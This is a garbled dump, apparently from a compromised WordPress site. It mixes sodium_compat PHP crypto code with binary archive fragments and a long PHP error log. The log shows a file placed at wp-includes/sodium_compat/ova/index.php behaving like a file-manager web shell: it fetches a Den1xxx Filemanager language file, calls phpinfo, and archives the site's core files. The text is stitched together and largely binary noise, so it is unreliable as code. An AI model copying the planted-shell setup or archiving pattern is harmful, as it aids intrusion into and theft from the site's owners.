expected'); } /** * @var array */ $values = array_values( unpack('C*', $string) ); return $values; } /** * Safe substring * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @param int $start * @param int $length * @return string * @throws TypeError */ public static function substr($str, $start = 0, $length = null) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } if ($length === 0) { return ''; } if (self::isMbStringOverride()) { if (PHP_VERSION_ID < 50400 && $length === null) { $length = self::strlen($str); } $sub = (string) mb_substr($str, $start, $length, '8bit'); } elseif ($length === null) { $sub = (string) substr($str, $start); } else { $sub = (string) substr($str, $start, $length); } if ($sub !== '') { return $sub; } return ''; } /** * Compare a 16-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_16($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 16), self::substr($b, 0, 16) ); } /** * Compare a 32-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_32($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 32), self::substr($b, 0, 32) ); } /** * Calculate $a ^ $b for two strings. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return string * @throws TypeError */ public static function xorStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } return (string) ($a ^ $b); } /** * Returns whether or not mbstring.func_overload is in effect. * * @internal You should not use this directly from another application * * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant * (for nuisance-free PHP 8 support) * * @return bool */ protected static function isMbStringOverride() { static $mbstring = null; if ($mbstring === null) { if (!defined('MB_OVERLOAD_STRING')) { $mbstring = false; return $mbstring; } $mbstring = extension_loaded('mbstring') && defined('MB_OVERLOAD_STRING') && ((int) (ini_get('mbstring.func_overload')) & 2); // MB_OVERLOAD_STRING === 2 } /** @var bool $mbstring */ return $mbstring; } } PK(L[ ppova/Curve25519.tarnu[Fe.php000064400000000000150547500400005575 0ustar00Ge/Precomp.php000064400000000000150547500520007206 0ustar00Ge/P1p1.php000064400000000170150547500570006337 0ustar00 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } $x0 += $j0; $x1 += $j1; $x2 += $j2; $x3 += $j3; $x4 += $j4; $x5 += $j5; $x6 += $j6; $x7 += $j7; $x8 += $j8; $x9 += $j9; $x10 += $j10; $x11 += $j11; $x12 += $j12; $x13 += $j13; $x14 += $j14; $x15 += $j15; return self::store32_le($x0) . self::store32_le($x1) . self::store32_le($x2) . self::store32_le($x3) . self::store32_le($x4) . self::store32_le($x5) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9) . self::store32_le($x10) . self::store32_le($x11) . self::store32_le($x12) . self::store32_le($x13) . self::store32_le($x14) . self::store32_le($x15); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } /** * @internal You should not use this directly from another application * * @param int $u * @param int $c * @return int */ public static function rotate($u, $c) { $u &= 0xffffffff; $c %= 32; return (int) (0xffffffff & ( ($u << $c) | ($u >> (32 - $c)) ) ); } } PK(L[~Vova/Util.php.php.tar.gznu[=kw6ٿщD&vZn}NN޻@$qM*~&wA=J5?819 f9a<ySzAal|;\,Z^;q8,hGQo/fT=mx}{Kgu:]4Nh]G__=֖7!8K/NbFtǯ'bq8&P?f'bIϷ>om<~E#DEQID݄E7n _|yL~X9)͈4I$~#cB(jHGxa@`()^H~85Htg8i>C~& &̀*Rpj@24[9;d| /^I#iM%kkamϓb#'TĊ~3PI*Ya)ъ#S6ćm2‹}}ZO8." 3* 9Z0Θ{?ӧ e/ b}N :ȩFt`;dr@>U6짻f?5 G1'Ϟ * }A98-i2ũ $h 'R)|OB:0r#/@߽/EFAj*; s% @M+%c !K:f7B=LTRV5=/4E 0%1$̋؋WdsA`],@B&U bK^ȡ,]K2YG?sx:T]Nɔ% CL.Eq^?_9$fyɓ'5Xfiѫ}& Lwg%/4XP̩՛iGEw)n':_@EڗeF%b{I. {J 'Jd D.^Qʕ\[BȾGcє"pXȥ`|aġ1w_Hkl{,֯i\6PS*®EY~Lބ0=hjm|ZGWQ'.,f$V YpLZ$]BL8D$J]'Enadu),@1XK] A0Ze[h' O~ʚ}<q::;;/XMih% o]1~ΨRYiX*-q0f4qKr兰=q)9qHm 1^Gh[ $vfQa·c8"H&N n&43xR{ej+11g˼cx I  w2 ZR4V 1ԟ>n.F\` a2F*b2.#23g-ÓKc7k`DpfBhP.Д°[ |S3ٛrJ&g42eQ}l&[2ּ]Y?w}pK\3\[ohtm&~H1 }3T)lpכp/X,RpBѝy>K)`0~6yb 9N]AjVTTq^LgAx!v$f/v(tD(zs4ab|=FSa2 .ZTZ 2V_ru?5$..oWqۥS"Fr̻A@:W)|\e8udKM\/%[1úF7@ѷlcG&gmKl^dpdA^e!d@j$YE[EX/;+Gg/]z*uB=?=F:C7c{(t9<HBX\\&[F.#j؀Sfzkr+"a{#8荕mK&`raUm3/#HsSgOF@7ئ.1yؒb6+0O wo?΅MXo^R>`n.i*y>iP /EmUm~K066an̼;kac)ЀQXɰ`Y݈N] l!vζ_wp8H# 'z [IdMpcU9)yb`)k6*|?Av!BH } a K_̨E]8N'k%J o [OBH%ar;᪉2ge;H20FA4KOãY}5WH)+Oy}f( aJe|@|OpM `n>4FC稍A=]WW>Idˇ'+GGUyjaHԨPuqG)m?VrCkQr ar2fpcnQZiS@yilȶ؝ڹX3'f̛$~#`4)I8zRH%1~+!?DX5krYs~(0x89n45D*~ )zZMJ }Tu5->csj Nbx(=RS炪^2ZSU+0"s0?hjC*ݰ:JDs;;F4+0$Oǯȋ{-%9l*MM[Zب[SxIڿ4 SuNO2[k[K5ZZ{ݍZ[7bAS5~?s6wܮU+smZ5oa~pX?zDL淞-3Yie9Dѣ1ֲ^iDTXg64BN*1#G $E10Ȃ8͏^ n8_Ы$e;1x*smb \5絁)> b!D ^(6rd{/`xXGQxN}P%/y0{̧`}c=Mh`WhZQ 6,‘g`oU iUJO >-+/(Fb .Xl(`}y?`Uh|OGy\[I4|jC13^& iW5ۂxOEjd;-#▒f@WוT15+g=<4c_=KgtŇhL,aWpUЈ'F>GզjnPQxUrVcruѩ@}1cA1"j 2 {ցe8krPi%O4L4>r/^Td:?]kOx;:qo. 1/^%EvghC`: t\3 oaǩϑdxVhoiCdoqL*i8畹?ezӅY 0Bi\e\Na`C>V59ac`̸T]P7I#/Д -[-s<V)HA_H/&5 :!`a瞆K/9qyVBjxbP%C:ے!]_# L=[&gu@0,;wO &~]c3~w;bX-;Z2(TS.-DQNvT3T$R |]g&Ig Ti G]M1F`J̒k\cgѓ9VJ-pej?ה,iٮ%ﰺ&k ˾y'63 GfMiBȿJ\`^&.J\)V%hPyGYmQב͸!e=e>ABWKuP-I-۫>c!ǦA8/*]Bo@ /eVuZui%Л귯ZX^/vݔ,ߋA3gK)!tQZV\Y+uxbB@m.Lb č/[l@l_DVqIݻM\lEXbwvZ, ]VqJfd 'h*`*.4 4?"o̜moڸA4S/B=+J9#Zc7-!8#؋nRIT,ry,rƄOMd CkxJ&B YnTTAѓ  rjSuYq3QPXC.! > @vK+Y?%y_EaBˮIv*ʢٮ'^j[_O/><|%4jxPK(L[TR R ova/Core.tar.gznu[]moFg 9Ѿ^Cj$Q=/0X[}H$' ۥ(iEў]23ɇB<37ʉ p!ZR!T)$edBJ]W|_]=tu_N|_/?xd~<-,_B[j|}b . Eqeo4.lq ZF!W%#L>VrOtr,)tC%e~}Nl~pR؂a|N>-W<,>OO_nb~uj~=zv~9ߪ]lмgxZ`J /15I$f:<Χ| ?%RQ@!f=T()JaH)JTaHgl3'/1So)/Èr~r^-@3SRi4Y݃h-@3V_f@rd0;ۙ6y"o"LJ:k]IƐe_hKc_<6{m6ytÇ%h>?GZ34Y.&Mv}#6eD>Dzg?LugBJJ2}+~ 8].\c 5Qkal}G;2ń#av)l: ,p+E: N`Hv8Ao8quX(l}+cJc68g{P) l"!N`!pv;PhIoBޒ7q_Lm@/ /p_y7l>v/R{/KCȳ?ko) p>,_饨,z*9V0yp 8sPql(yYxa̡/`;͂h̪ɢ3$7VյfT]`l$UNuSg 1[/k[@w6UƖ '6"VJ瀎ǠH 7V@+و-pTI1M%nka[`Xx$n*G☽rl77cV]+`0Kb|pU];` [^YuS'5XR̍uGՅS]n XuCOvۡHf$bV׵E4{!") w7 HSU]ccU]{IӸO.U(1օl(W U[nnCҔng-MW_eاhuW?SGi4-C wG=,@kd3I%wr}7Wm_K!Kmi"22 4??8#`!|U/6O1!Ֆ&mC]NoM!CH;o}oC,9r g@adP׷3oM`džL:pp,S@ ;ƥx/?']q:(s(X? 5K8H+HmD̘C cBc1ȴ~100#/` ( @Gp8H %t ":fVn#,(9L1&x JcA/4 ǚ`NnN f괂ǚ`NM,00ON0GL=PHcE[kxrsH f OOKG٥ց֌z )HS cQ֊Ge %. T\I4L:U &r]:*`".2oin~[ ">zᱹ4"!%Ź́f5*:sǚs{d^.F3c)RHkJuSNab6n]0$< 9Vo/_;Nޚyz^ѥðގ;rm&@xofiQ}}StFS4GNNK5$#k xY}9Zd #a/WhsB M0G 6'Xx33ŋX1/GKye[+[:LVU"vq=^(8sKrѹڊ{?׵5{9_8xqڨ?|fr?!9U<a:lS -A遦~ؠÊ3"cP;4/Y&Vqćě삖1 VC{#8D2 ED*<8W2KrChg1Bx&~RH~QTR&(9s8,8KP㫄OV9_xXIRݓ&t Lx]{s-S5r"J\uյ#~A8?S دTqw􈼕Ԧ]`^z䪖Dي'I⌥85g;@s)l $Jm{9Q9=OWArEH.̟<-܏|AfHWe=#a.Z%%N"ݝ+iKϦl8 D3Z&" %N㘘!e12cFLf8hcb9u`3}J W{Qk6۔WR?$0]!0U'7fX.B<[*{im3S*mDG+Ac]$Sj鮨@H Iu(tI!z3z0%! L,Ѻ)7.b34So3SӰD~f M]$lAs f숺߱$l^dǹX<=Ll+n_G@Kqͱ\B28E_\S9Q-i tm碣f4)' 'VVVC>>_nE'gU[>g[/ Gn1|C:7P-i;HdNo;r98ЈrZKK@{t]^-Z&g#K>mڮ}ح6itHӖwݪjZwk"+4<1+sW eKb \9[~\3<Zu~pZK !!hކ*؇) z I:D:TZY1G:3(Ai2r@=x~rSgOZ㜥kF; Z_J[ҐJ'FrKV[O/ӯ~Կa60540pv8G=,}S7!ls`65S3- p{K4\! 4 'ӣAcL? FR$,JPeQzb&S^#}")Oǹ4hiut&ԓL:FmBLK@:imXP76A af þv_2-}020GaM#IUXN@&R((ɔSz 注KRޠZ~"WE 4`ZLK H]@^|yɗkĴd=NT,l)ߒL6xq`l0oB?/|9F|]+EPV*A#ŋQP:DA]%bMJFrU+Y}(X}Xߎ}S$7d';OB SOCwh) K&HΦqNc޲KXW*zKA_+{S_ex~buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [30-Aug-2025 16:57:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:57:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:01:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:01:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:03:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:03:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:06:16 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ova.zip" failed: unable to write local file header of file [30-Aug-2025 17:23:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:23:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:28 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 669 [30-Aug-2025 20:46:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 20:46:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:49 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/BLAKE2b.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [30-Aug-2025 21:06:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:06:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:06:11 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SipHash.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index[30-Aug-2025 21:22:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:22:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:47:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:47:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:53:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:53:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:32:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:32:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:34:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:34:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:40:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:40:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:42:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:42:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:10:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:10:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:21:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:21:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 01:34:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 01:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:23:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:24:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/AES.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 02:35:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:35:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:35:29 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Crypto32.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Crypto32.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 03:07:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 03:07:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:24:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:24:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:43 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/HChaCha20.php.tar" cannot be created, header for file 